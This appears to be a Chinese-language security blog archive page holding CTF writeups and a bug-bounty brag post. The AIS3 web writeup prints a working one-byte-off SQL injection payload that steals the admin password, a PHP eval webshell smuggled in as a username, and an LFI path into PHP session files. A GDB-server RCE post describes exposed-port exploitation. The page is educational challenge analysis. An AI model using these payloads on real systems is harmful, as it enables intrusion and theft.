2016年1月14日 星期四
HITCON CTF 2015 Quals & Final 心得備份
當初好像沒留底稿只發布在 Facebook 跟烏雲
今天睡醒發現又有人在轉貼這篇,想說留個備份好了XD
Facebook 連結
Wooyun 知識庫連結
HITCON KnowledgeBase 連結
----------
決賽 Attack & Defense 也出了一道 Web 題目
0ops 成員 5alt 也寫了一篇筆記 HITCON CTF 2015 Final Webful Writeup
寫的真棒XD
看得我自己心癢癢都想寫一篇來解釋各個洞為什麼要這樣設計了XD
出 Final 時候本意就是要把環境模擬成真實環境,讓平常 Web 狗的各種猥瑣流可以得心應手而不是淪為解題形式在實戰中派不上用場
除了各個 API 接口的互相影響 單點淪陷 = 全部淪陷 外
還有模擬 Discuz UC_KEY 的應用,SECRET_KEY 洩漏的各種利用方式順便防止 Replay
裡面的 VIM 備份檔下載也是隨著題目應運而生出現的洞XD
(看了你才知道真實世界中為什麼會出現這樣的洞)
最後預料之外的是,本來想說大家都是世界等級的隊伍修漏洞應該很快,所以本來預期最後大家都是去繞各個隊伍的 WAF ,
不過看來有點太坑了XD
2015年9月29日 星期二
Google & Facebook Bug Bounty GET
先說這篇純粹炫耀文xD
暨 2013 年 Yahoo 開始有 Bug Bounty 那時搶個流行找了兩個漏洞回報 Yahoo 然後
- Yahoo Bug Bounty Part 1 - 台灣 Yahoo Blog 任意檔案下載漏洞
- Yahoo Bug Bounty Part 2 - *.login.yahoo.com 遠端代碼執行漏洞
就沒有然後了。之後就變成電競選手在打 CTF 了
直到今年年中,想說至少把幾間大公司的漏洞回報榜都留個名字就開始繼續挖洞
不過實際下去挖掘的時候發現差異滿大的,好挖好找嚴重性大的漏洞都已經被找走
感覺挖漏洞的藍海時代已經過惹
現在要當獎金獵人只能往比較前端跟設計上的小疏失挖掘,賺不到甚麼大錢XD
花了一點時間 survey 歷年出過的一些漏洞以及前端相關的一些攻擊手法
找到了個 Google 某官方的 CSRF 導致個人資訊洩漏以及 Facebook 某個子域名的 XSS
Google 那個比較有趣,利用起來比較類似 Watering holes exploiting JSONP hijacking to track users in China
順道一提,在寄信回報漏洞時的 PoC 還順便釣到 Google Security Team 的測試帳號
(很靠北的大頭貼XDD)
https://www.google.com/about/appsecurity/hall-of-fame/
2015年9月10日 星期四
AIS3 Final CTF Web Writeup (Race Condition & one-byte off SQL Injection)
這次為了 AIS3 Final CTF 所出的一道題目,這題在這以初新者導向中的比賽中相對難,
不過其中的觀念很有趣,在解題中什麼都給你了就是找不到洞但經人一解釋就會有豁然開朗覺得為什麼自己沒想到的感覺
在做 Web 攻擊、滲透滿多時候思路不能太正派、太直觀,要歪一點、要 "猥瑣" 一點XD
純粹 code review 直接上 code
(可以自己先嘗試一下找不找的到洞XD)
漏洞一 Race Condition
預設註冊的使用者都是會被放進 locks 表中鎖起來的,
但是只要在註冊中,帳號尚未被新增進 locks 表時(111 & 112 行) 馬上登入的話,
登入檢查是否被鎖住的限制就可以繞過了!
漏洞二 one-byte off SQL Injection
當成功登入後可以新增 note 並且可以看到自己新增的 note
漏洞發生在第 58 行,當 note 的標題太長為了畫面美觀會進行截斷的動作只限制前 32 個字顯示在畫面上
這時候因為對 SQL Injection 防護是使用 escape 的方式防護,單引號(')會被反斜線 escape 成 (\'),這時候如果精心設計一個長度正確的 payload 就可以讓防護剛好被繞過造成後面的 SQL 語句跟前方連在一起
Payload
POST=
title=phddaaphddaaphddaaphddaaphddaa_\
¬e=, (select pass from users where name=0x6f72616e6765)#
phddaaphddaaphddaaphddaaphddaa_\
(32 個字長)
會被 escape 成
phddaaphddaaphddaaphddaaphddaa_\\
(33 個字長)
此時踩到超過 32 長的限制 (57 & 58 行),並進行截斷成
phddaaphddaaphddaaphddaaphddaa_\
導致原本的防護被繞過,使得原本被括起來後面的單引號被 escape 原本的 SQL 語句就變成字串了
用這個方法就可以成功在 INSERT 語法中進行 SQL Injection 並在自己的 note 中看到資料,取得管理員密碼後即可變身成管理員
順道一提這個思路在 Discuz 7.2 去年還是前年被爆出的 SQL Injection 中有類似的思路
漏洞三 Local File Inclusion with PHP session
由於 include 前面不可控,所以不能使用 php://filter 或是 zip:// phar:// 等協議,而後面有 php 的後綴也不能使用 LFI with PHPINFO 的招數
不過在 PHP 中 SESSION 預設存在 /var/lib/php5/sess_* 中
Ex
Cookie: PHPSESSID=123php 會產生 /var/lib/php5/sess_123php 的檔案
在可以偽造 $_SESSION 內容的時候其實就代表可以產生一個部分內容可控,部分檔名可控的檔案,這時候在使用 LFI 去包含他就可以產生一個 shell 了
Payload
如此一來可以透過第一個漏洞註冊一個使用者名稱為 <?php eval($_POST[ccc]);?> 的用戶,sqlpwn.php?mode=admin
&boom=../../../../var/lib/php5/sess_123
之後登入時指定 PHPSESSID 為 php 結尾,再利用所產生的 session file 進行 include 的動作。
2015年8月31日 星期一
Remote Code Execution through GDB Remote Debugging Protocol
在準備 DEFCON CTF 時額外想到的小玩具,
很多人使用 GDB remote debugging 時為了方便遠端使用,會將 port 綁在 0.0.0.0 上使得攻擊者可以連接上做一些事情
至於可以做哪些事情,不來個遠端代碼執行就不好玩了XD
大部分的工作都基於 Turning arbitrary GDBserver sessions into RCE 這篇文章,
修改部分則是加上 arm 及 x64 的支援以及把 code 改好看點....XD
比較 tricky 的部分則是 GDB 在 extended-remote 後,GDB 預設的處理器架構會是 i386
如果遠端的處理器架構非 x86 的架構下會失敗,所以必須用 set architecture 指定處理器架構
(原文章因為都在 x86 架構下所以沒這個問題XD)
但是在 run 之前無法知道所處的處理器架構所以變成一個很尷尬的狀態XD
另外一個有趣的是如何檢測掃描到的 port 是否為 GDB remote debugging protocol
送個
$?#3f就可以判斷,接著就可以寫成 script 就可以批次掃描處理了XD
最後 PoC,在本機跑
gdbserver --remote-debug 0.0.0.0:31337 /bin/ls配合下面 Exploit 就可以拿 shell XD
不多說,貼 code2015年8月28日 星期五
訂閱:
文章 (Atom)


